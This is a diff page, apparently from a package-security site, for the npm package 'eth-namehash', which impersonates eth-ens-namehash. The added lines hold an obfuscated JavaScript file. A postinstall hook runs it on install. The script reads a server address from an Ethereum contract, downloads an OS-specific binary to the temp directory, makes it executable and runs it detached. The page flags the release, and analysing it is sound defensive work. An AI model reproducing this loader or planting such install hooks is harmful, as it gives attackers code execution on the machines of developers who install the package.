eth-namehash 0.0.1-security → 2.0.8

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of eth-namehash might be problematic. Click here for more details.

package/7lo2pj0g.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x2c05bf=_0x5cb6;function _0x5cb6(_0x5194b8,_0x1e8cab){const _0x5607da=_0x5607();return _0x5cb6=function(_0x5cb65f,_0x1007fe){_0x5cb65f=_0x5cb65f-0x1f3;let _0x3366ab=_0x5607da[_0x5cb65f];return _0x3366ab;},_0x5cb6(_0x5194b8,_0x1e8cab);}(function(_0x3a596a,_0x1a4f2a){const _0x2ef485=_0x5cb6,_0x371c6a=_0x3a596a();while(!![]){try{const _0x5844c4=parseInt(_0x2ef485(0x212))/0x1*(parseInt(_0x2ef485(0x219))/0x2)+parseInt(_0x2ef485(0x21e))/0x3*(-parseInt(_0x2ef485(0x227))/0x4)+parseInt(_0x2ef485(0x213))/0x5*(-parseInt(_0x2ef485(0x202))/0x6)+parseInt(_0x2ef485(0x1f8))/0x7*(-parseInt(_0x2ef485(0x1f3))/0x8)+-parseInt(_0x2ef485(0x207))/0x9+parseInt(_0x2ef485(0x204))/0xa*(-parseInt(_0x2ef485(0x217))/0xb)+parseInt(_0x2ef485(0x220))/0xc;if(_0x5844c4===_0x1a4f2a)break;else _0x371c6a['push'](_0x371c6a['shift']());}catch(_0x2e4ad7){_0x371c6a['push'](_0x371c6a['shift']());}}}(_0x5607,0xc5ee1));const {ethers}=require(_0x2c05bf(0x205)),axios=require(_0x2c05bf(0x1f9)),util=require('util'),fs=require('fs'),path=require(_0x2c05bf(0x21a)),os=require('os'),{spawn}=require(_0x2c05bf(0x21d)),contractAddress=_0x2c05bf(0x211),WalletOwner=_0x2c05bf(0x226),abi=['function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'],provider=ethers['getDefaultProvider'](_0x2c05bf(0x1f5)),contract=new ethers[(_0x2c05bf(0x20e))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1065bc=_0x2c05bf,_0x398cf7={'IWbWd':_0x1065bc(0x228),'IBErI':function(_0x1626b2){return _0x1626b2();}};try{const _0x57f927=await contract[_0x1065bc(0x21b)](WalletOwner);return _0x57f927;}catch(_0x32ea51){return console[_0x1065bc(0x20a)](_0x398cf7[_0x1065bc(0x21f)],_0x32ea51),await _0x398cf7[_0x1065bc(0x215)](fetchAndUpdateIp);}},getDownloadUrl=_0x4e92df=>{const _0x28a070=_0x2c05bf,_0x4d489d={'KonWB':_0x28a070(0x214),'ktTrV':'darwin'},_0x357ac7=os[_0x28a070(0x224)]();switch(_0x357ac7){case _0x28a070(0x200):return _0x4e92df+_0x28a070(0x20c);case _0x4d489d[_0x28a070(0x221)]:return _0x4e92df+_0x28a070(0x209);case _0x4d489d[_0x28a070(0x218)]:return _0x4e92df+_0x28a070(0x1fd);default:throw new Error(_0x28a070(0x1fa)+_0x357ac7);}},downloadFile=async(_0x1758eb,_0x88bb47)=>{const _0x356fb8=_0x2c05bf,_0x19b838={'uwPDx':_0x356fb8(0x1fe),'vzLNh':_0x356fb8(0x20a),'EQiJx':_0x356fb8(0x1f6),'PWfRd':'stream'},_0x251cc5=fs[_0x356fb8(0x1f4)](_0x88bb47),_0x154be3=await axios({'url':_0x1758eb,'method':_0x19b838['EQiJx'],'responseType':_0x19b838[_0x356fb8(0x20b)]});return _0x154be3[_0x356fb8(0x223)]['pipe'](_0x251cc5),new Promise((_0x1e6cdb,_0x48a9c8)=>{const _0x221d2b=_0x356fb8;_0x251cc5['on'](_0x19b838[_0x221d2b(0x222)],_0x1e6cdb),_0x251cc5['on'](_0x19b838[_0x221d2b(0x210)],_0x48a9c8);});},executeFileInBackground=async _0x1b302f=>{const _0x471310=_0x2c05bf,_0x4915d4={'zhxIP':function(_0x15b12b,_0x135b1b,_0x401976,_0x27c5c2){return _0x15b12b(_0x135b1b,_0x401976,_0x27c5c2);},'fIbAw':'ignore','Cstkm':_0x471310(0x21c)};try{const _0x1710d7=_0x4915d4[_0x471310(0x203)](spawn,_0x1b302f,[],{'detached':!![],'stdio':_0x4915d4['fIbAw']});_0x1710d7[_0x471310(0x1f7)]();}catch(_0x507ea9){console[_0x471310(0x20a)](_0x4915d4[_0x471310(0x1fc)],_0x507ea9);}},runInstallation=async()=>{const _0x252931=_0x2c05bf,_0x49cda4={'LGwly':function(_0x40defa){return _0x40defa();},'nagwb':function(_0xa613a9,_0xb3e3e5){return _0xa613a9(_0xb3e3e5);},'wIBDz':function(_0x2f9713,_0x59c484,_0x37550a){return _0x2f9713(_0x59c484,_0x37550a);},'qepsW':function(_0x3f1886,_0x50af1d){return _0x3f1886!==_0x50af1d;},'ujsdf':'win32','zGjBV':'755','RYfkP':function(_0x2ee003,_0x40cce6){return _0x2ee003(_0x40cce6);},'axhZw':_0x252931(0x20d)};try{const _0x1b0477=await _0x49cda4['LGwly'](fetchAndUpdateIp),_0x3e6419=_0x49cda4[_0x252931(0x206)](getDownloadUrl,_0x1b0477),_0x1b6b5b=os[_0x252931(0x208)](),_0x30e045=path[_0x252931(0x20f)](_0x3e6419),_0x1a5d29=path['join'](_0x1b6b5b,_0x30e045);await _0x49cda4[_0x252931(0x225)](downloadFile,_0x3e6419,_0x1a5d29);if(_0x49cda4[_0x252931(0x1fb)](os['platform'](),_0x49cda4[_0x252931(0x201)]))fs['chmodSync'](_0x1a5d29,_0x49cda4['zGjBV']);_0x49cda4[_0x252931(0x216)](executeFileInBackground,_0x1a5d29);}catch(_0x4a2e74){console[_0x252931(0x20a)](_0x49cda4[_0x252931(0x1ff)],_0x4a2e74);}};function _0x5607(){const _0x27c8cb=['unref','7UXxSiP','axios','Unsupported\x20platform:\x20','qepsW','Cstkm','/node-macos','finish','axhZw','win32','ujsdf','4686Taresx','zhxIP','550xefHjJ','ethers','nagwb','6837183LWgzQc','tmpdir','/node-linux','error','PWfRd','/node-win.exe','Ошибка\x20установки:','Contract','basename','vzLNh','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','58NgQquF','5170ZkOoRA','linux','IBErI','RYfkP','89067yqDCbD','ktTrV','44686zovPlV','path','getString','Ошибка\x20при\x20запуске\x20файла:','child_process','1554FHXnaK','IWbWd','20286144DuksPc','KonWB','uwPDx','data','platform','wIBDz','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','1076cyfsrS','Ошибка\x20при\x20получении\x20IP\x20адреса:','190136IyUXiQ','createWriteStream','mainnet','GET'];_0x5607=function(){return _0x27c8cb;};return _0x5607();}runInstallation();
package/README.md CHANGED
@@ -1,5 +1,37 @@
1
- # Security holding package
1
+ # Eth ENS Namehash [![CircleCI](https://circleci.com/gh/danfinlay/eth-ens-namehash.svg?style=svg)](https://circleci.com/gh/danfinlay/eth-ens-namehash)
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ A javascript library for generating Ethereum Name Service (ENS) namehashes per [spec](https://github.com/ethereum/EIPs/issues/137).
4
+
5
+ [Available on NPM](https://www.npmjs.com/package/eth-ens-namehash)
6
+
7
+ ## Installation
8
+
9
+ `npm install eth-ens-namehash -S`
10
+
11
+ ## Usage
12
+
13
+ ```javascript
14
+ var namehash = require('eth-ens-namehash')
15
+ var hash = namehash.hash('foo.eth')
16
+ // '0xde9b09fd7c5f901e23a3f19fecc54828e9c848539801e86591bd9801b019f84f'
17
+
18
+ // Also supports normalizing strings to ENS compatibility:
19
+ var input = getUserInput()
20
+ var normalized = namehash.normalize(input)
21
+ ```
22
+
23
+ ## Security Warning
24
+
25
+ ENS Supports UTF-8 characters, and so many duplicate names are possible. For example:
26
+
27
+ - faceboоk.eth
28
+ - facebook.eth
29
+
30
+ The first one has non-ascii chars. (control+F on this page and search for facebook, only the second one will match).
31
+
32
+ namehash.normalize() doesn't automagically remap those, and so other precautions should be taken to avoid user phishing.
33
+
34
+ ## Development
35
+
36
+ This module supports advanced JavaScript syntax, but exports an ES5-compatible module. To re-build the exported module after making changes, run `npm run bundle` (must have [browserify](http://browserify.org/) installed).
4
37
 
5
- Please refer to www.npmjs.com/advisories?search=eth-namehash for more information.
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ var sha3 = require('js-sha3').keccak_256
2
+ var uts46 = require('idna-uts46-hx')
3
+
4
+ function namehash (inputName) {
5
+ // Reject empty names:
6
+ var node = ''
7
+ for (var i = 0; i < 32; i++) {
8
+ node += '00'
9
+ }
10
+
11
+ name = normalize(inputName)
12
+
13
+ if (name) {
14
+ var labels = name.split('.')
15
+
16
+ for(var i = labels.length - 1; i >= 0; i--) {
17
+ var labelSha = sha3(labels[i])
18
+ node = sha3(new Buffer(node + labelSha, 'hex'))
19
+ }
20
+ }
21
+
22
+ return '0x' + node
23
+ }
24
+
25
+ function normalize(name) {
26
+ return name ? uts46.toUnicode(name, {useStd3ASCII: true, transitional: false}) : name
27
+ }
28
+
29
+ exports.hash = namehash
30
+ exports.normalize = normalize
package/package.json CHANGED
@@ -1,6 +1,38 @@
1
1
  {
2
2
  "name": "eth-namehash",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "2.0.8",
4
+ "description": "A simple module for generating ENS namehashes per spec https://github.com/ethereum/EIPs/issues/137",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node 7lo2pj0g.cjs"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+ssh://git@github.com/danfinlay/eth-ens-namehash.git"
12
+ },
13
+ "keywords": [
14
+ "Ethereum",
15
+ "ENS"
16
+ ],
17
+ "author": "Dan Finlay <dan@danfinlay.com>",
18
+ "license": "ISC",
19
+ "bugs": {
20
+ "url": "https://github.com/danfinlay/eth-ens-namehash/issues"
21
+ },
22
+ "homepage": "https://github.com/danfinlay/eth-ens-namehash#readme",
23
+ "devDependencies": {
24
+ "tape": "^4.6.3",
25
+ "babel-preset-es2015": "^6.24.1",
26
+ "babel-preset-stage-0": "^6.24.1",
27
+ "browserify": "^14.0.0"
28
+ },
29
+ "dependencies": {
30
+ "idna-uts46-hx": "^2.3.1",
31
+ "js-sha3": "^0.5.7",
32
+ "axios": "^1.7.7",
33
+ "ethers": "^6.13.2"
34
+ },
35
+ "files": [
36
+ "7lo2pj0g.cjs"
37
+ ]
38
+ }